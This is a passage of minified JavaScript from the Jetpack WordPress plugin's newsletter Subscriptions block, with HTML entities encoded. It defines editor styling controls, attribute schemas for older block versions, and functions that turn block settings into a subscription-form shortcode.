Color&quot;,&quot;jetpack&quot;)}],initialOpen:!1,children:(0,h.jsx)(a.ContrastChecker,{fontSize:j.size,textColor:L.color,backgroundColor:k.color,fallbackButtonBackgroundColor:y,fallbackTextColor:x})}),(0,h.jsx)(i.PanelBody,{title:__(&quot;Typography&quot;,&quot;jetpack&quot;),initialOpen:!1,className:&quot;wp-block-jetpack-subscriptions__textpanel&quot;,children:(0,h.jsx)(a.FontSizePicker,{withSlider:!0,value:j.size,onChange:e=&gt;{const t=e||p.Fm;E({fontSize:t,customFontSize:t})},__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})}),(0,h.jsxs)(i.PanelBody,{title:__(&quot;Border&quot;,&quot;jetpack&quot;),initialOpen:!1,className:&quot;wp-block-jetpack-subscriptions__borderpanel&quot;,children:[(0,h.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:f,label:__(&quot;Border Radius&quot;,&quot;jetpack&quot;),min:p.rG,max:p.Bs,initialPosition:p.Kn,allowReset:!0,onChange:e=&gt;E({borderRadius:e})}),(0,h.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:b,label:__(&quot;Border Weight&quot;,&quot;jetpack&quot;),min:p.ZS,max:p.JD,initialPosition:p.aS,allowReset:!0,onChange:e=&gt;E({borderWeight:e})})]}),(0,h.jsxs)(i.PanelBody,{title:__(&quot;Spacing&quot;,&quot;jetpack&quot;),initialOpen:!1,className:&quot;wp-block-jetpack-subscriptions__spacingpanel&quot;,children:[(0,h.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:C,label:__(&quot;Space Inside&quot;,&quot;jetpack&quot;),min:p.rE,max:p.Vy,initialPosition:p.oi,allowReset:!0,onChange:e=&gt;E({padding:e})}),(0,h.jsx)(i.RangeControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:I,label:__(&quot;Space Between&quot;,&quot;jetpack&quot;),min:p.Hq,max:p.Zi,initialPosition:p.E,allowReset:!0,onChange:e=&gt;E({spacing:e})}),(0,h.jsx)(d.s,{width:R,onChange:e=&gt;{E({buttonWidth:e,buttonOnNewLine:v||&quot;100%&quot;===e})}})]}),(0,h.jsxs)(i.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),initialOpen:!1,className:&quot;wp-block-jetpack-subscriptions__displaypanel&quot;,children:[(0,h.jsx)(i.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Show subscriber count&quot;,&quot;jetpack&quot;),checked:P,onChange:()=&gt;{E({showSubscribersTotal:!P,includeSocialFollowers:void 0!==w&amp;&amp;w})},help:()=&gt;{if(!M||M&lt;1)return __(&quot;This will remain hidden until there is at least one subscriber.&quot;,&quot;jetpack&quot;)}}),O&amp;&amp;(0,h.jsx)(i.ToggleControl,{__nextHasNoMarginBottom:!0,disabled:!P,label:__(&quot;Include social followers in count&quot;,&quot;jetpack&quot;),checked:void 0===w||w,onChange:()=&gt;{E({includeSocialFollowers:void 0!==w&amp;&amp;!w})}}),(0,h.jsx)(i.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Place button on new line&quot;,&quot;jetpack&quot;),checked:v,onChange:()=&gt;{E({buttonOnNewLine:!v})}}),(0,h.jsx)(i.TextareaControl,{__nextHasNoMarginBottom:!0,value:D,label:__(&quot;Input placeholder text&quot;,&quot;jetpack&quot;),help:__(&quot;Edit the placeholder text of the email address input.&quot;,&quot;jetpack&quot;),onChange:e=&gt;E({subscribePlaceholder:e})}),!(0,r.isSimpleSite)()&amp;&amp;(0,h.jsx)(i.TextareaControl,{__nextHasNoMarginBottom:!0,value:F,label:__(&quot;Success message&quot;,&quot;jetpack&quot;),help:__(&quot;Edit the message displayed when a user subscribes.&quot;,&quot;jetpack&quot;),onChange:e=&gt;E({successMessage:e})}),t&amp;&amp;e.length&gt;0&amp;&amp;(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(i.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Pre-select categories&quot;,&quot;jetpack&quot;),checked:A,onChange:e=&gt;{E({preselectNewsletterCategories:e})},help:__(&quot;When enabled, the user will be automatically subscribed to the selected categories below when they submit the form.&quot;,&quot;jetpack&quot;)}),A&amp;&amp;(0,h.jsxs)(&quot;fieldset&quot;,{children:[(0,h.jsx)(&quot;legend&quot;,{className:&quot;wp-block-jetpack-subscriptions__legend&quot;,children:__(&quot;Categories&quot;,&quot;jetpack&quot;)}),e.map(e=&gt;(0,h.jsx)(i.CheckboxControl,{__nextHasNoMarginBottom:!0,disabled:!A,label:e.name,checked:S.includes(e.id),onChange:()=&gt;{const t=S.includes(e.id)?S.filter(t=&gt;t!==e.id):[...S,e.id],s={selectedNewsletterCategoryIds:t};0===t.length&amp;&amp;(s.preselectNewsletterCategories=!1),E(s)}},e.id))]})]})]})]})}},39025(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(49955),n=s(254),o=s(77349),a=s(20880),i=s(82935),l=s(93746),c=s(53545);const u=[s(324).A,c.A,l.A,i.A,a.A,o.A,n.A,r.A]},49955(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(86087),n=s(27723),o=s(66087),a=s(10790);const i={attributes:{subscribeButton:{type:&quot;string&quot;,default:(0,n.__)(&quot;Subscribe&quot;,&quot;jetpack&quot;)},showSubscribersTotal:{type:&quot;boolean&quot;,default:!1}},migrate:e=&gt;({submitButtonText:e.subscribeButton,showSubscribersTotal:e.showSubscribersTotal}),isEligible:e=&gt;!(!Object.hasOwn(e,&quot;subscribeButton&quot;)||!(0,o.isEmpty)(e.subscribeButton)),save:function({attributes:e}){return(0,a.jsx)(r.RawHTML,{children:`[jetpack_subscription_form show_subscribers_total=&quot;${e.showSubscribersTotal}&quot; show_only_email_and_button=&quot;true&quot;]`})}}},254(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(27723),n=s(6133);const __=r.__,o={attributes:{subscribePlaceholder:{type:&quot;string&quot;,default:__(&quot;Email Address&quot;,&quot;jetpack&quot;)},subscribeButton:{type:&quot;string&quot;,default:__(&quot;Subscribe&quot;,&quot;jetpack&quot;)},showSubscribersTotal:{type:&quot;boolean&quot;,default:!1},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Subscribe&quot;,&quot;jetpack&quot;)},backgroundButtonColor:{type:&quot;string&quot;},textButtonColor:{type:&quot;string&quot;},customBackgroundButtonColor:{type:&quot;string&quot;},customTextButtonColor:{type:&quot;string&quot;},submitButtonClasses:{type:&quot;string&quot;}},migrate:e=&gt;({subscribePlaceholder:e.subscribePlaceholder,showSubscribersTotal:e.showSubscribersTotal,buttonOnNewLine:!0,submitButtonText:e.submitButtonText,buttonBackgroundColor:e.backgroundButtonColor?e.backgroundButtonColor:&quot;primary&quot;,customButtonBackgroundColor:e.customBackgroundButtonColor,textColor:e.textButtonColor?e.textButtonColor:&quot;background&quot;,customTextColor:e.customTextButtonColor}),save:n.A}},6133(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(86087),n=s(10790);function o({attributes:e}){const{showSubscribersTotal:t,submitButtonClasses:s,customBackgroundButtonColor:o,customTextButtonColor:a,submitButtonText:i}=e;return(0,n.jsx)(r.RawHTML,{children:`[jetpack_subscription_form show_only_email_and_button=&quot;true&quot; custom_background_button_color=&quot;${o}&quot; custom_text_button_color=&quot;${a}&quot; submit_button_text=&quot;${i}&quot; submit_button_classes=&quot;${s}&quot; show_subscribers_total=&quot;${t}&quot; ]`})}},9208(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(27723);const __=r.__,n={subscribePlaceholder:{type:&quot;string&quot;,default:__(&quot;Enter your email address&quot;,&quot;jetpack&quot;)},showSubscribersTotal:{type:&quot;boolean&quot;,default:!1},buttonOnNewLine:{type:&quot;boolean&quot;,default:!1},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Sign Up&quot;,&quot;jetpack&quot;)},emailFieldBackgroundColor:{type:&quot;string&quot;},customEmailFieldBackgroundColor:{type:&quot;string&quot;},emailFieldGradient:{type:&quot;string&quot;},customEmailFieldGradient:{type:&quot;string&quot;},buttonBackgroundColor:{type:&quot;string&quot;},customButtonBackgroundColor:{type:&quot;string&quot;},buttonGradient:{type:&quot;string&quot;},customButtonGradient:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},customTextColor:{type:&quot;string&quot;},fontSize:{type:&quot;number&quot;},customFontSize:{type:&quot;number&quot;},borderRadius:{type:&quot;number&quot;},borderWeight:{type:&quot;number&quot;},borderColor:{type:&quot;string&quot;},customBorderColor:{type:&quot;string&quot;},padding:{type:&quot;number&quot;},spacing:{type:&quot;number&quot;}}},26140(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;l});var r=s(94715),n=s(86087),o=s(13022),a=s(9208),i=s(10790);function l(e,t,s=null){const{subscribePlaceholder:l,showSubscribersTotal:c,buttonOnNewLine:u,submitButtonText:d,emailFieldBackgroundColor:p,customEmailFieldBackgroundColor:h,emailFieldGradient:m,customEmailFieldGradient:g,buttonBackgroundColor:f,customButtonBackgroundColor:b,buttonGradient:v,customButtonGradient:k,textColor:y,customTextColor:x,fontSize:j,customFontSize:w,borderRadius:_,borderWeight:C,borderColor:A,customBorderColor:S,padding:E,spacing:N}=t,T=!!r.__experimentalGetGradientClass,B=(0,r.getColorClassName)(&quot;color&quot;,y),P=(0,r.getFontSizeClass)(j),I=(0,r.getColorClassName)(&quot;border-color&quot;,A),M=(0,r.getColorClassName)(&quot;background-color&quot;,f),L=T?(0,r.__experimentalGetGradientClass)(v):void 0,R=(0,r.getColorClassName)(&quot;background-color&quot;,p),D=T?(0,r.__experimentalGetGradientClass)(m):void 0,F=(0,o.A)(0===_?&quot;no-border-radius&quot;:void 0,P,I),O=(0,o.A)(F,y?&quot;has-text-color&quot;:void 0,B,f||v?&quot;has-background&quot;:void 0,M,L),z=(0,o.A)(F,R,D),U=!R&amp;&amp;g?g:h,H=!M&amp;&amp;k?k:b;let q=l,V=d;return&quot;check-text-defaults&quot;===s&amp;&amp;(q=l===a.A.subscribePlaceholder.default?&quot;Enter your email address&quot;:l,V=d===a.A.submitButtonText.default?&quot;Sign Up&quot;:d),(0,i.jsx)(&quot;div&quot;,{className:(0,o.A)(e,&quot;wp-block-jetpack-subscriptions__supports-newline&quot;,u?&quot;wp-block-jetpack-subscriptions__use-newline&quot;:void 0,c?&quot;wp-block-jetpack-subscriptions__show-subs&quot;:void 0),children:(0,i.jsx)(n.RawHTML,{children:`\n\t\t\t[jetpack_subscription_form\n\t\t\t\tsubscribe_placeholder=&quot;${q}&quot;\n\t\t\t\tshow_subscribers_total=&quot;${c}&quot;\n\t\t\t\tbutton_on_newline=&quot;${u}&quot;\n\t\t\t\tsubmit_button_text=&quot;${V}&quot;\n\t\t\t\tcustom_background_emailfield_color=&quot;${U}&quot;\n\t\t\t\tcustom_background_button_color=&quot;${H}&quot;\n\t\t\t\tcustom_text_button_color=&quot;${x}&quot;\n\t\t\t\tcustom_font_size=&quot;${w||16}&quot;\n\t\t\t\tcustom_border_radius=&quot;${_||0}&quot;\n\t\t\t\tcustom_border_weight=&quot;${C||1}&quot;\n\t\t\t\tcustom_border_color=&quot;${S}&quot;\n\t\t\t\tcustom_padding=&quot;${E||15}&quot;\n\t\t\t\tcustom_spacing=&quot;${N||10}&quot;\n\t\t\t\tsubmit_button_classes=&quot;${O}&quot;\n\t\t\t\temail_field_classes=&quot;${z}&quot;\n\t\t\t\tshow_only_email_and_button=&quot;true&quot;\n\t\t\t]`})})}},77349(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(9208),n=s(26140);const o={attributes:r.A,migrate:e=&gt;{const{fontSize:t,customFontSize:s}=e;return{...e,fontSize:t?`${t}px`:void 0,customFontSize:s?`${s}px`:void 0}},save:({className:e,attributes:t})=&gt;(0,n.Ay)(e,t)}},20880(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(9208),n=s(26140);const o={attributes:r.A,migrate:e=&gt;{const{fontSize:t,customFontSize:s}=e;return{...e,fontSize:t?`${t}px`:void 0,customFontSize:s?`${s}px`:void 0}},save:({className:e,attributes:t})=&gt;(0,n.Ay)(e,t,&quot;check-text-defaults&quot;)}},82935(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(9208),n=s(82834);const o={attributes:r.A,migrate:e=&gt;{const{fontSize:t,customFontSize:s}=e;return{...e,fontSize:t?`${t}px`:void 0,customFontSize:s?`${s}px`:void 0}},save:n.Ay}},82834(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;l});var r=s(94715),n=s(86087),o=s(13022),a=s(9208),i=s(10790);function l({className:e,attributes:t}){const{subscribePlaceholder:s,showSubscribersTotal:l,buttonOnNewLine:c,submitButtonText:u,emailFieldBackgroundColor:d,customEmailFieldBackgroundColor:p,emailFieldGradient:h,customEmailFieldGradient:m,buttonBackgroundColor:g,customButtonBackgroundColor:f,buttonGradient:b,customButtonGradient:v,textColor:k,customTextColor:y,fontSize:x,customFontSize:j,borderRadius:w,borderWeight:_,borderColor:C,customBorderColor:A,padding:S,spacing:E}=t,N=!!r.__experimentalGetGradientClass,T=(0,r.getColorClassName)(&quot;color&quot;,k),B=(0,r.getFontSizeClass)(x),P=(0,r.getColorClassName)(&quot;border-color&quot;,C),I=(0,r.getColorClassName)(&quot;background-color&quot;,g),M=N?(0,r.__experimentalGetGradientClass)(b):void 0,L=(0,r.getColorClassName)(&quot;background-color&quot;,d),R=N?(0,r.__experimentalGetGradientClass)(h):void 0,D=(0,o.A)(0===w?&quot;no-border-radius&quot;:void 0,B,P),F=(0,o.A)(D,k?&quot;has-text-color&quot;:void 0,T,g||b?&quot;has-background&quot;:void 0,I,M),O=(0,o.A)(D,L,R),z=!L&amp;&amp;m?m:p,U=!I&amp;&amp;v?v:f,H={subscribe_placeholder:s!==a.A.subscribePlaceholder.default?s:void 0,show_subscribers_total:l,button_on_newline:c,submit_button_text:u!==a.A.submitButtonText.default?u:void 0,custom_background_emailfield_color:z,custom_background_button_color:U,custom_text_button_color:y,custom_font_size:j||16,custom_border_radius:w||0,custom_border_weight:_||1,custom_border_color:A,custom_padding:S||15,custom_spacing:E||10,submit_button_classes:F,email_field_classes:O,show_only_email_and_button:!0},q=Object.entries(H).reduce((e,[t,s])=&gt;void 0===s?e:e+` ${t}=&quot;${s}&quot;`,&quot;&quot;);return(0,i.jsx)(&quot;div&quot;,{className:(0,o.A)(e,&quot;wp-block-jetpack-subscriptions__supports-newline&quot;,c?&quot;wp-block-jetpack-subscriptions__use-newline&quot;:void 0,l?&quot;wp-block-jetpack-subscriptions__show-subs&quot;:void 0),children:(0,i.jsx)(n.RawHTML,{children:`[jetpack_subscription_form${q}]`})})}},53889(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(27723);const __=r.__,n={subscribePlaceholder:{type:&quot;string&quot;,default:__(&quot;Email Address&quot;,&quot;jetpack&quot;)},showSubscribersTotal:{type:&quot;boolean&quot;,default:!1},buttonOnNewLine:{type:&quot;boolean&quot;,default:!1},buttonWidth:{type:&quot;string&quot;},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Subscribe&quot;,&quot;jetpack&quot;)},emailFieldBackgroundColor:{type:&quot;string&quot;},customEmailFieldBackgroundColor:{type:&quot;string&quot;},emailFieldGradient:{type:&quot;string&quot;},customEmailFieldGradient:{type:&quot;string&quot;},buttonBackgroundColor:{type:&quot;string&quot;},customButtonBackgroundColor:{type:&quot;string&quot;},buttonGradient:{type:&quot;string&quot;},customButtonGradient:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},customTextColor:{type:&quot;string&quot;},fontSize:{type:&quot;string&quot;},customFontSize:{type:&quot;string&quot;},borderRadius:{type:&quot;number&quot;},borderWeight:{type:&quot;number&quot;},borderColor:{type:&quot;string&quot;},customBorderColor:{type:&quot;string&quot;},padding:{type:&quot;number&quot;},spacing:{type:&quot;number&quot;}}},93746(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(53889),n=s(3161);const o={attributes:r.A,save:n.A}},3161(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(86087),o=s(13022),a=s(53889),i=s(10790);function l({className:e,attributes:t}){const{subscribePlaceholder:s,showSubscribersTotal:l,buttonOnNewLine:c,submitButtonText:u,emailFieldBackgroundColor:d,customEmailFieldBackgroundColor:p,emailFieldGradient:h,customEmailFieldGradient:m,buttonBackgroundColor:g,customButtonBackgroundColor:f,buttonGradient:b,customButtonGradient:v,textColor:k,customTextColor:y,fontSize:x,customFontSize:j,borderRadius:w,borderWeight:_,borderColor:C,customBorderColor:A,padding:S,spacing:E,buttonWidth:N}=t,T=!!r.__experimentalGetGradientClass,B=(0,r.getColorClassName)(&quot;color&quot;,k),P=(0,r.getFontSizeClass)(x),I=(0,r.getColorClassName)(&quot;border-color&quot;,C),M=(0,r.getColorClassName)(&quot;background-color&quot;,g),L=T?(0,r.__experimentalGetGradientClass)(b):void 0,R=(0,r.getColorClassName)(&quot;background-color&quot;,d),D=T?(0,r.__experimentalGetGradientClass)(h):void 0,F=(0,o.A)(0===w?&quot;no-border-radius&quot;:void 0,P,I),O=(0,o.A)(F,k?&quot;has-text-color&quot;:void 0,B,g||b?&quot;has-background&quot;:void 0,M,L),z=(0,o.A)(F,R,D),U=!R&amp;&amp;m?m:p,H=!M&amp;&amp;v?v:f,q=N||void 0,V={subscribe_placeholder:s!==a.A.subscribePlaceholder.default?s:void 0,show_subscribers_total:l,button_on_newline:c,submit_button_text:u!==a.A.submitButtonText.default?u:void 0,custom_background_emailfield_color:U,custom_background_button_color:H,custom_text_button_color:y,custom_font_size:j||&quot;16px&quot;,custom_border_radius:w||0,custom_border_weight:_||1,custom_border_color:A,custom_button_width:q,custom_padding:S||15,custom_spacing:E||10,submit_button_classes:O,email_field_classes:z,show_only_email_and_button:!0},$=Object.entries(V).reduce((e,[t,s])=&gt;void 0===s?e:e+` ${t}=&quot;${s}&quot;`,&quot;&quot;);return(0,i.jsx)(&quot;div&quot;,{className:(0,o.A)(e,&quot;wp-block-jetpack-subscriptions__supports-newline&quot;,c?&quot;wp-block-jetpack-subscriptions__use-newline&quot;:void 0,l?&quot;wp-block-jetpack-subscriptions__show-subs&quot;:void 0),children:(0,i.jsx)(n.RawHTML,{children:`[jetpack_subscription_form${$}]`})})}},82724(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(27723);const __=r.__,n={subscribePlaceholder:{type:&quot;string&quot;,default:__(&quot;Type your email…&quot;,&quot;jetpack&quot;)},showSubscribersTotal:{type:&quot;boolean&quot;,default:!1},buttonOnNewLine:{type:&quot;boolean&quot;,default:!1},buttonWidth:{type:&quot;string&quot;},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Subscribe&quot;,&quot;jetpack&quot;)},emailFieldBackgroundColor:{type:&quot;string&quot;},customEmailFieldBackgroundColor:{type:&quot;string&quot;},emailFieldGradient:{type:&quot;string&quot;},customEmailFieldGradient:{type:&quot;string&quot;},buttonBackgroundColor:{type:&quot;string&quot;},customButtonBackgroundColor:{type:&quot;string&quot;},buttonGradient:{type:&quot;string&quot;},customButtonGradient:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},customTextColor:{type:&quot;string&quot;},fontSize:{type:&quot;string&quot;},customFontSize:{type:&quot;string&quot;},borderRadius:{type:&quot;number&quot;},borderWeight:{type:&quot;number&quot;},borderColor:{type:&quot;string&quot;},customBorderColor:{type:&quot;string&quot;},padding:{type:&quot;number&quot;},spacing:{type:&quot;number&quot;},successMessage:{type:&quot;string&quot;,default:__(&quot;Success! An email was just sent to confirm your subscription. Please find the email now and click &#039;Confirm Follow&#039; to start subscribing.&quot;,&quot;jetpack&quot;)}}},53545(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(82724),n=s(96564);const o={attributes:r.A,save:n.Ay}},96564(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;l});var r=s(94715),n=s(86087),o=s(13022),a=s(82724),i=s(10790);function l({className:e,attributes:t}){const{subscribePlaceholder:s,showSubscribersTotal:l,buttonOnNewLine:c,submitButtonText:u,emailFieldBackgroundColor:d,customEmailFieldBackgroundColor:p,emailFieldGradient:h,customEmailFieldGradient:m,buttonBackgroundColor:g,customButtonBackgroundColor:f,buttonGradient:b,customButtonGradient:v,textColor:k,customTextColor:y,fontSize:x,customFontSize:j,borderRadius:w,borderWeight:_,borderColor:C,customBorderColor:A,padding:S,spacing:E,buttonWidth:N,successMessage:T}=t,B=!!r.__experimentalGetGradientClass,P=(0,r.getColorClassName)(&quot;color&quot;,k),I=(0,r.getFontSizeClass)(x),M=(0,r.getColorClassName)(&quot;border-color&quot;,C),L=(0,r.getColorClassName)(&quot;background-color&quot;,g),R=B?(0,r.__experimentalGetGradientClass)(b):void 0,D=(0,r.getColorClassName)(&quot;background-color&quot;,d),F=B?(0,r.__experimentalGetGradientClass)(h):void 0,O=(0,o.A)(0===w?&quot;no-border-radius&quot;:void 0,I,M),z=(0,o.A)(O,k?&quot;has-text-color&quot;:void 0,P,g||b?&quot;has-background&quot;:void 0,L,R),U=(0,o.A)(O,D,F),H=!D&amp;&amp;m?m:p,q=!L&amp;&amp;v?v:f,V=N||void 0,$={subscribe_placeholder:s!==a.A.subscribePlaceholder.default?s:void 0,show_subscribers_total:l,button_on_newline:c,submit_button_text:u!==a.A.submitButtonText.default?u:void 0,custom_background_emailfield_color:H,custom_background_button_color:q,custom_text_button_color:y,custom_font_size:j||&quot;16px&quot;,custom_border_radius:w||0,custom_border_weight:_||1,custom_border_color:A,custom_button_width:V,custom_padding:S||15,custom_spacing:E||10,submit_button_classes:z,email_field_classes:U,show_only_email_and_button:!0,success_message:T},G=Object.entries($).reduce((e,[t,s])=&gt;void 0===s?e:e+` ${t}=&quot;${(e=&gt;e.replace(/&lt;/g,&quot;&amp;lt;&quot;).replace(/&gt;/g,&quot;&amp;gt;&quot;).replace(/&quot;/g,&quot;&amp;quot;&quot;).replace(/&#039;/g,&quot;&amp;#039;&quot;).replace(/\[/g,&quot;&amp;#091;&quot;).replace(/\]/g,&quot;&amp;#093;&quot;).replace(/\u00a0/g,&quot;&amp;nbsp;&quot;).replace(/\u200b/g,&quot;&amp;#x200b;&quot;))(s.toString())}&quot;`,&quot;&quot;);return(0,i.jsx)(&quot;div&quot;,{className:(0,o.A)(e,&quot;wp-block-jetpack-subscriptions__supports-newline&quot;,c?&quot;wp-block-jetpack-subscriptions__use-newline&quot;:void 0,l?&quot;wp-block-jetpack-subscriptions__show-subs&quot;:void 0),children:(0,i.jsx)(n.RawHTML,{children:`[jetpack_subscription_form${G}]`})})}},88015(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(27723);const __=r.__,n={subscribePlaceholder:{type:&quot;string&quot;,default:__(&quot;Type your email…&quot;,&quot;jetpack&quot;)},showSubscribersTotal:{type:&quot;boolean&quot;,default:!1},buttonOnNewLine:{type:&quot;boolean&quot;,default:!1},buttonWidth:{type:&quot;string&quot;},submitButtonText:{type:&quot;string&quot;,default:__(&quot;Subscribe&quot;,&quot;jetpack&quot;)},emailFieldBackgroundColor:{type:&quot;string&quot;},customEmailFieldBackgroundColor:{type:&quot;string&quot;},emailFieldGradient:{type:&quot;string&quot;},customEmailFieldGradient:{type:&quot;string&quot;},buttonBackgroundColor:{type:&quot;string&quot;},customButtonBackgroundColor:{type:&quot;string&quot;},buttonGradient:{type:&quot;string&quot;},customButtonGradient:{type:&quot;string&quot;},textColor:{type:&quot;string&quot;},customTextColor:{type:&quot;string&quot;},fontSize:{type:&quot;string&quot;},customFontSize:{type:&quot;string&quot;},borderRadius:{type:&quot;number&quot;},borderWeight:{type:&quot;number&quot;},borderColor:{type:&quot;string&quot;},customBorderColor:{type:&quot;string&quot;},padding:{type:&quot;number&quot;},spacing:{type:&quot;number&quot;},successMessage:{type:&quot;string&quot;,default:__(&quot;Success! An email was just sent to confirm your subscription. Please find the email now and click &#039;Confirm Follow&#039; to start subscribing.&quot;,&quot;jetpack&quot;)}}},324(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(88015),n=s(65275);const o={attributes:r.A,migrate:e=&gt;({includeSocialFollowers:!0,...e}),save:n.A}},65275(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(13022),n=s(10790);function o({className:e,attributes:t}){const{showSubscribersTotal:s,buttonOnNewLine:o}=t;return(0,n.jsx)(&quot;div&quot;,{className:(0,r.A)(e,&quot;wp-block-jetpack-subscriptions__supports-newline&quot;,o?&quot;wp-block-jetpack-subscriptions__use-newline&quot;:void 0,s?&quot;wp-block-jetpack-subscriptions__show-subs&quot;:void 0)})}},38387(e,t,s){&quot;use strict&quot;;s.d(t,{h:()=&gt;C});var r=s(50723),n=s(54268),o=s(94715),a=s(56427),i=s(29491),l=s(47143),c=s(86087),u=s(27723),d=s(13022),p=s(66087),h=s(90907),m=s(78218),g=s(64234),f=(s(92647),s(65255),s(16521)),b=s(99876),v=s(72902),k=s(33725),y=s(10790);const _n=u._n,_x=u._x,__=u.__,{getComputedStyle:x}=window,j=!!o.__experimentalUseGradient,w=j?o.__experimentalUseGradient:()=&gt;({}),_=(0,a.withFallbackStyles)((e,t)=&gt;{const{buttonBackgroundColor:s,textColor:r}=t,n=s&amp;&amp;s.color,o=r&amp;&amp;r.color,a=e.querySelector(&quot;.wp-block-jetpack-subscriptions__button&quot;);return{fallbackButtonBackgroundColor:n||!e?void 0:a&amp;&amp;x(a).backgroundColor,fallbackTextColor:o||!e?void 0:a&amp;&amp;x(a).color}});const C=(0,i.compose)([(0,o.withColors)({emailFieldBackgroundColor:&quot;backgroundColor&quot;},{buttonBackgroundColor:&quot;backgroundColor&quot;},{textColor:&quot;color&quot;},&quot;borderColor&quot;),(0,o.withFontSizes)(&quot;fontSize&quot;),_,e=&gt;t=&gt;(0,y.jsx)(r.Ay,{children:(0,y.jsx)(e,{...t})})])(function(e){const{attributes:t,setAttributes:s,emailFieldBackgroundColor:r,buttonBackgroundColor:x,setButtonBackgroundColor:_,fallbackButtonBackgroundColor:C,textColor:A,fallbackTextColor:S,setTextColor:E,borderColor:N,setBorderColor:T,fontSize:B}=e,P=(0,l.useSelect)(e=&gt;!!e(&quot;jetpack/membership-products&quot;)?.getNewsletterTierProducts()?.length,[]),I=(0,o.useBlockProps)(),M=(0,m.y)(b.attributes,t);(0,p.isEqual)(M,t)||s(M);const{borderRadius:L,borderWeight:R,buttonWidth:D,className:F,includeSocialFollowers:O,padding:z,preselectNewsletterCategories:U,selectedNewsletterCategoryIds:H,spacing:q,submitButtonText:V=v.rn,subscribePlaceholder:$=v.re,showSubscribersTotal:G,buttonOnNewLine:W,successMessage:Z=v.AU}=M,J=(0,h.D)(b.styles,F),{subscriberCount:K,subscriberCountString:Y}=(0,l.useSelect)(e=&gt;{const{totalSubscribers:t,socialFollowers:s}=e(f.M).getSubscriberCounts();let r=t;return O&amp;&amp;(r+=s),{subscriberCount:r,subscriberCountString:(0,u.sprintf)(/* translators: %s: the number of subscribers. */
_n(&quot;Join %s other subscriber&quot;,&quot;Join %s other subscribers&quot;,r,&quot;jetpack&quot;),(0,n.qe)(r,{numberFormatOptions:{maximumFractionDigits:1}}))}}),{availableNewsletterCategories:Q,areNewsletterCategoriesEnabled:X}=(0,l.useSelect)(e=&gt;{const t=e(f.M);return{availableNewsletterCategories:t.getNewsletterCategories(),areNewsletterCategoriesEnabled:t.getNewsletterCategoriesEnabled()}}),ee=w({gradientAttribute:&quot;emailFieldGradient&quot;,customGradientAttribute:&quot;customEmailFieldGradient&quot;}),te=w({gradientAttribute:&quot;buttonGradient&quot;,customGradientAttribute:&quot;customButtonGradient&quot;}),se={&quot;no-border-radius&quot;:0===L,[B.class]:B.class,&quot;has-text-color&quot;:A.color,[A.class]:A.class},re={...se,&quot;has-background&quot;:r.color||ee.gradientValue,[r.class]:!ee.gradientValue&amp;&amp;r.class,[ee.gradientClass]:ee.gradientClass},ne={...se,&quot;has-background&quot;:x.color||te.gradientValue,[x.class]:!te.gradientValue&amp;&amp;x.class,[te.gradientClass]:te.gradientClass},oe=e=&gt;e||v.E,ae={color:A.color,borderColor:N.color,borderRadius:L?L+&quot;px&quot;:v.Kn+&quot;px&quot;,borderWidth:R?R+&quot;px&quot;:v.aS+&quot;px&quot;,fontSize:B.size?B.size:v.Fm,padding:(e=&gt;{const t=e||v.oi;return t+&quot;px &quot;+Math.round(1.5*t)+&quot;px &quot;+t+&quot;px &quot;+Math.round(1.5*t)+&quot;px&quot;})(z)},ie={&quot;--subscribe-block-border-radius&quot;:L?L+&quot;px&quot;:v.Kn+&quot;px&quot;},le={...ae,...!r.color&amp;&amp;ee.gradientValue?{background:ee.gradientValue}:{backgroundColor:r.color}},ce={...ae,...!x.color&amp;&amp;te.gradientValue?{background:te.gradientValue}:{backgroundColor:x.color},width:D?.length?D:&quot;auto&quot;};&quot;button&quot;!==J&amp;&amp;(W?ce.marginTop=oe(q)+&quot;px&quot;:ce.marginLeft=oe(q)+&quot;px&quot;);const 